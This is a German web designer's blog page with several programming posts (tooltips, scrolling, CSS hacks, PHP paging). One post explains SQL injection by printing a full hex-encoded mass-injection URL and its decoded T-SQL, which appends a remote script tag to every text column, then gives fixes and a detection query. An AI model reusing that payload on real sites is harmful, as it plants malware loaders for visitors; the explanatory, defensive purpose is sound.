This website mostly serves to present my work as an webdesigner. In my portfolio you will find an overview of my recent projects.

Anleitung zum löschen des Cache: cachemeifyoucan.com

markuslang.com

bigr-solutions.net

musikwerker.de

projekt-misside-guinea.de

feedyourfeeds.com

 

 

SQL-Injection, der Spass beginnt!

Kann der Web-Entwickler abends ruhig einschlafen, oder gehen ihm diese oder ähnliche Zeilen durch den Kopf?

 

  • sql = "SELECT * FROM ShopWarenkorb WHERE id = '"& Request.QueryString("id") &"'"

 

Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte Heise Security endlich in seinen RSS-Reader aufnehmen. Hier ein paar Artikel die das Problem verdeutlichen:

 

 

Aber wie funktioniert das? Wie kommt schädliches Javascript in die Datenbank? Ganz einfach, mittels SQL-Injection wird der SQL-Befehl der Anwendung abgeschlossen und der Angreifer fügt seinen eigenen SQL-Code hinzu. Das kann dann so aussehen:

 

  • http://www.xyz.com/?id=1';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=
    CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E0077006F00770067006D0031002E0063006E002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200
    %20AS%20NVARCHAR(4000));EXEC(@S);--

 

In dem ersten Wert des CAST befindet sich der SQL-Befehl als Binärwert. Mittels SQL läßt sich ein String leicht in Binärwerte konvertieren, es gibt ja den Datentyp BINARY ;)

 

  • DECLARE @nvarchar NVARCHAR(4000)
  • SET @nvarchar = 'SELECT'
  •  
  • DECLARE @BINARY BINARY(12)
  • SET @BINARY = CAST(@nvarchar AS BINARY)
  •  
  • SELECT @BINARY
  • SELECT CAST(@BINARY AS NVARCHAR(4000))

 

Konvertiert man den SQL-Code von oben wieder in NVARCHAR erhält man folgendes SQL:

 

  • DECLARE @T varchar(255), @C varchar(255)  
  • DECLARE Table_Cursor
  •  
  • CURSOR FOR
  • SELECT a.name,b.name
  • FROM sysobjects a,syscolumns b
  • WHERE
  • a.id=b.id
  • AND a.xtype='u'
  • AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
  •  
  • OPEN Table_Cursor
  • FETCH NEXT FROM  Table_Cursor
  • INTO @T,@C
  • WHILE(@@FETCH_STATUS=0)
  • BEGIN
  • exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://xyz/xyz.js></script>''')
  • FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Dieses SQL macht nichts weiter als alle Tabellen (Nutzertabellen) der Datenbank ermitteln und in die Textspalten jeweils am Ende von Rechts den angegebenen String einfügen. Die Web-Anwendung nimmt die Inhalte aus der Datenbank und gibt diese auf einer Seite aus. Somit wird, Voraussetzung ist natürlich der angegebene Server ist noch online, das eingebundene Javascript ausgeführt. Der Code in dem eingebundenen Javascript versucht dann vermutlich per Buffer Overflow in verschiedenen Plugins der Browser eigenen Code auszuführen um damit gefährliche Programme nachzuladen / zu installieren (Trojaner etc.).

 

Was man dagegen tun kann ist eigentlich ganz einfach. Alle Eingabewerte der Nutzer richtig prüfen und sämtliche SQL-Befehle parametrisiert an die Datenbank geben. Bitte nicht in einer Stored Procedure wiederum mit dem Parameter einen SQL-Befehl zusammenbauen und anschließend per EXEC ausführen ;)

 

Mithilfe dieser SQL-Befehle läßt sich die Datenbank nach womöglich schädlichen Code durchsuchen:

 

  • DECLARE @searchValue varchar(255)
  • SET @searchValue = 'script'
  •  
  • SET NOCOUNT ON
  •  
  • DECLARE @TempTable TABLE (table_name varchar(255),column_name varchar(255))
  • CREATE TABLE #TempTableContent (table_name varchar(255),column_name varchar(255), value text)
  •  
  • INSERT INTO @TempTable
  • SELECT ic.table_schema + '.' + dbo.sysobjects.name AS Tabellenname, dbo.syscolumns.name AS Spaltenname
  • FROM dbo.syscolumns
  • INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id
  • INNER JOIN dbo.systypes ON dbo.syscolumns.xtype = dbo.systypes.xtype
  • INNER JOIN information_schema.COLUMNS ic ON ic.table_name = dbo.sysobjects.name AND ic.column_name = dbo.syscolumns.name
  • WHERE (dbo.sysobjects.xtype = 'U') AND dbo.systypes.name IN ('varchar', 'nvarchar', 'text', 'char', 'ntext')
  •  
  • DECLARE @SQLString varchar(500);
  • DECLARE @table_name varchar(255), @column_name varchar(255)
  •  
  • DECLARE DATA CURSOR LOCAL FAST_FORWARD FOR
  • SELECT table_name, column_name FROM @TempTable
  •  
  • OPEN DATA
  •  
  • FETCH NEXT FROM DATA
  • INTO @table_name, @column_name
  •  
  • WHILE @@FETCH_STATUS = 0
  • BEGIN
  •         SET @SQLString = N'select '''+ @table_name +''' AS table_name, ''' + @column_name +''' AS column_name, [' + @column_name +'] AS value ' + ' FROM ' + @table_name + ' where [' + @column_name + '] LIKE ''%'+@searchValue+'%''';
  •  
  •         INSERT INTO #TempTableContent
  •         EXEC(@SQLString)
  •  
  •         FETCH NEXT FROM DATA
  •         INTO @table_name, @column_name
  •  
  • END
  • SELECT * FROM #TempTableContent
  • DROP TABLE #TempTableContent

Posted in programmers-corner |Comments1 Comment »

Tooltip with JavaScript

Mit dem folgenden kleinen Skript lassen sich unterschiedliche Tooltips mittels JavaScript realisieren.

Die JavaScript-Funktionen zur Erzeugung der Tooltips werden über eine ausgelagerte JavaScript-Datei eingebunden.

  1. // tt = tooltip
  2. // global variables
  3. var intOffset_X_Pointer = 20;
  4. var intOffset_Y_Pointer = 20;
  5.  
  6. // elements for tooltip
  7. var aryToolTipElements = Array('a','span');
  8.  
  9. // browser?
  10. var blnIE = document.all;
  11. var blnNS = document.getElementById && !document.all;
  12.  
  13. // tt-container
  14. document.write('<div id="my_tt"></div><br />');
  15.  
  16. var show_tt = false;
  17. var obj_tt = document.getElementById("my_tt");
  18.  
  19. // get tt-elements
  20. function generateToolTips() {
  21.   for (var x = 0; x != aryToolTipElements.length; x++) {
  22.     var objElement = document.getElementsByTagName(aryToolTipElements[x]);
  23.     if (objElement) {
  24.       for (var y = 0; y != objElement.length; y++) {
  25.         if (objElement[y].className == "tt") {
  26.           objElement[y].setAttribute("tt_content", objElement[y].title);
  27.           objElement[y].removeAttribute("title");
  28.           objElement[y].onmouseover = function() {
  29.             enable_tt(this.getAttribute("tt_content"),true);
  30.           };
  31.           objElement[y].onmouseout = function() { hide_tt(false); };
  32.         }
  33.       }
  34.     }
  35.   }
  36. }
  37.  
  38. function enable_tt(tt_content, blnShow_tt) {
  39.   show_tt = blnShow_tt;
  40.   obj_tt.innerHTML = tt_content;
  41. }
  42.  
  43. function hide_tt(blnShow_tt) {
  44.   show_tt = blnShow_tt;
  45.   obj_tt.style.width = '';
  46.   obj_tt.style.left = "-5000px";
  47.   obj_tt.style.visibility = "hidden";
  48. }
  49.  
  50. function tt_position(objThis) {
  51.   if (show_tt) {
  52.     // get ViewPortheight
  53.     var intcH = document.documentElement.clientHeight;
  54.     // differentiated values for IE and NS
  55.     if (blnIE) {
  56.       intcX = event.clientX; intcY = event.clientY + document.documentElement.scrollTop;
  57.       intsLeft = document.documentElement.scrollLeft;
  58.       var intBottom = intcH - event.clientY - 20;
  59.     } else {
  60.       intcX = objThis.clientX; intcY = objThis.pageY;
  61.       var intBottom = intcH - objThis.clientY - 20;
  62.       intsLeft = 0;
  63.     }
  64.     // set tt-pos
  65.     obj_tt.style.left = intcX - intOffset_X_Pointer + "px";
  66.     if (intBottom < obj_tt.offsetHeight) {
  67.       obj_tt.style.top = intcY - obj_tt.offsetHeight - 10 + "px";
  68.     } else {
  69.       obj_tt.style.top = intcY + intOffset_Y_Pointer + "px";
  70.     }
  71.     obj_tt.style.visibility = "visible";
  72.   }
  73. }


Im Kopfbereich der HTML-Seite sind nur wenige Änderungen notwendig. Das ausgelagerte JavaScript (tooltip.js) sowie zwei Anweisungen zur initialisieren müssen eingebunden werden.

  1. <script type="text/javascript" src="tooltip.js"></script>


  1. window.onload = function() {
  2.   generateToolTips();
  3.   document.onmousemove = tt_position;
  4. }


Nun können unterschiedliche Element mit einen Tooltip versehen werden. Dafür muss dem Element die CSS-Klasse "tt" zugeordnet, sowie der Inhalt des Tooltips in das Attribut "title" geschrieben werden.

  1. <a href="http://www.knoxmic.net" class="tt"
  2.   title="<p>get this tooltip script now</p>">tooltip #1</a>


Das vorgestellte Beispiel kann wieder im Browser betrachtet oder heruntergeladen werden.

Posted in programmers-corner |Comments2 Comments »

CSS hacks 2 go

Damit eine Website in unterschiedlichen Browsern richtig dargestellt werden kann, bedarf es nicht selten ein paar Tricks. Die folgenden selbst eingesetzten CSS-Snippets sollen eine eigene kleine Sammlung dieser Tricks darstellen:


So läßt sich zum Beispiel ein Bug bei der Implementierung einer CSS-Anweisung (voice-family) im Business Browser IE 4/5 zum verbergen von CSS-Anweisungen ausnutzen.


  1. span {
  2.   font-size:x-small;
  3.   voice-family:"\"}\"";
  4.   voice-family:inherit;
  5.   font-size:small;
  6. }

Um den IE 4/5/6 ganz vor der Tür stehen zu lassen, genügt der Gebrauch eines Kindselektors:


  1. html>body p { margin:0; }

Alle in dem Container, erste und letzte Zeile im Codebeispiel, enthaltenen Anweisungen sind für den Netscape 4 unsichtbar.


  1. /*/*/a{}
  2. body {
  3.   margin:0;
  4. }
  5. /* */

Seit nicht allzu langer Zeit, tendiere ich allerdings dazu, CSS-Anweisungen die ich für den IE korrigieren muss, über Conditional Comments darzustellen. Genau das würde ich auch allen Besuchern empfehlen, mit der weiteren Verbreitung des IE 7 sollten auch einige css hacks der Vergangenheit angehören.


  1. <!--[if IE]>
  2.   <style type="text/css" media="screen">
  3.     p {
  4.       padding:0;
  5.       margin:0;
  6.     }
  7.   </style>     
  8. <! [endif]-->

Posted in programmers-corner, webdesign |CommentsNo Comments »

Scrolling with JavaScript

Möchte man auf seiner Website auf einer kleinen Fläche viele Informationen unterbringen, so führt selten ein Weg an einer kleineren Schriftart oder unschönen Scrollbalken vorbei. Der hier vorgestellte Code soll eine Alternative dazu darstellen. Der Inhalt wird in ein div gepackt und läßt sich mittels JavaScript zum scrollen bewegen.

Als erstes sollte die notwendige JavaScript-Klasse für das Scrolling eingebunden werden.

  1. function scroll(objElement, intHeight) {
  2.   var self = this;
  3.   this._y = 0;
  4.   objElement.style.top  = "0px";
  5.  
  6.   this.setPosition = function(intPos, y) {
  7.     if (intPos > 0) intPos = 0;
  8.     if (intPos < intHeight - objElement.offsetHeight)
  9.       intPos = intHeight - objElement.offsetHeight;
  10.     this._y = intPos;
  11.     objElement.style.top  = this._y +"px";
  12.   };
  13.  
  14.   this.scrollY = function(y) { this.setPosition(this._y + y, y); };
  15.  
  16.   this.start = function(y) {
  17.     this.scrollTimer = window.setInterval(
  18.       function() { self.scrollY(y); }, 25 );
  19.   };
  20.   this.stop = function() {
  21.     if (this.scrollTimer) window.clearInterval(this.scrollTimer); };
  22. };


Danach ist es notwendig das Objekt, welches den zu scrollenden Inhalt enthält der Klasse "scroll" zu übergeben und damit ein neues Objekt zu erstellen.

  1. var srollObject = null;
  2.  
  3. function initPage() {
  4.   var objElement = document.getElementById('content');
  5.   srollObject = new scroll(objElement, 150);
  6. }
  7.  


Dieser Vorgang wird natürlich erst nach erfolgten Laden der Seite ausgeführt.

  1. <body onload="initPage();">


Über diese zwei Elemente läßt sich das scrollen beeinflussen.

  1. <a href="#" onmouseover="srollObject.start(-4);"
  2.   onmouseout="srollObject.stop();">&or;</a>
  3. <a href="#" onmouseover="srollObject.start(4);"
  4.   onmouseout="srollObject.stop();">&and;</a>


Das vorgestellte Beispiel kann im Browser betrachtet oder heruntergeladen werden.


Update! Über das Skript scroll_xy.js (zip) ist auch ein Scrolling entlang der X- bzw. Y-Achse möglich.

Posted in programmers-corner |Comments8 Comments »

Paging your content dynamicly

Do you need a function for paging your content? Feel free to use this php code for your application.
If you know any tips to improve let me know.

  1. function paging($m, $u, $p) {
  2.   if ($m > 1) {
  3.     if ($p == "") $p = 1;
  4.     for ($i=$p-$u; $i<=$p+$u; $i++) {
  5.       if ($i == $p-$u) {
  6.         if ($p == 1) $strResult .= '1 ';
  7.         else $strResult .= '<a href="?p=1" class="p">1</a> ';
  8.         if ($p-$u > 2) $strResult .= '... ';
  9.       }
  10.       if ($i < $m && $i != 1 && $i > 0) {
  11.         if ($i == $p) $strResult .= $i.' ';
  12.         else $strResult .= '<a href="?p='.$i.'" class="p">'.$i.'</a> ';
  13.       }
  14.       if ($i == $p+$u) {
  15.         if ($i < $m-1) $strResult .= ' ... ';
  16.         if ($p == $m) $strResult .= $m.' ';
  17.         else $strResult .= '<a href="?p='.$m.'" class="p">'.$m.'</a>';
  18.       }
  19.     }
  20.   }
  21.   return $strResult;
  22. }

 

Download the code here.

 

Example:

Posted in programmers-corner |Comments2 Comments »

Ajax for campus-magazin

Für das noch junge Campus Magazin ( TU Chemnitz ) sollte in kürzester Zeit ein Fragebogen online geschalten werden. Da auch noch keine Webadresse vorhanden war, haben wir (Christian Aurich, Ronny Engelmann) über prosite.de eine DNS-Domain eingerichtet (mit anschließender Weiterleitung auf eigenen Server).

Die Anforderungen waren einfach, viele Fragen, Pflichtfelder und Mailversand + Datenbank- eintrag bei erfolgreichem Ausfüllen. In der Praxis entschieden wir uns (angetrieben von Easy Ajax for the masses with xajax) für ein kleines Experiment mit xajax. Damit haben wir die Prüfung der Pflichtfelder bequem in den Hintergrund verschoben, nicht ausgefüllte Bereiche werden nun rot, ausgefüllte grün markiert.

Am Montag (2005-12-11) geht eine nicht kleine Zahl an Flyern für diese Umfrage in der Umgebung raus, mal schauen wieviel Resonanz die Website bekommt. Interessierte können sich das Formular unter http://www.campus-magazin.org anschauen und ausfüllen, eine Zugriffsstatistik ist auch vorhanden.

Update: Nach 5 Tagen sind bereits über > 255 ausgefüllte Fragebögen eingetroffen, liegt das nun am Formular welches zum ausfüllen animiert oder doch an der Werbung?

Posted in ajax, programmers-corner, webdesign |CommentsNo Comments »

javascript effects library

Durch moo.fx lassen sich schnell und einfach nette Effekte mit JavaScript erzielen. Der Code ist mehr als einfach einzubinden und die Wirkung ist erstaunlich. Mit nur 8 KB lassen sich Animationen umsetzen die man sonst nur von Flash kennt. Einfach mal testen: Example

Posted in programmers-corner, webdesign |CommentsNo Comments »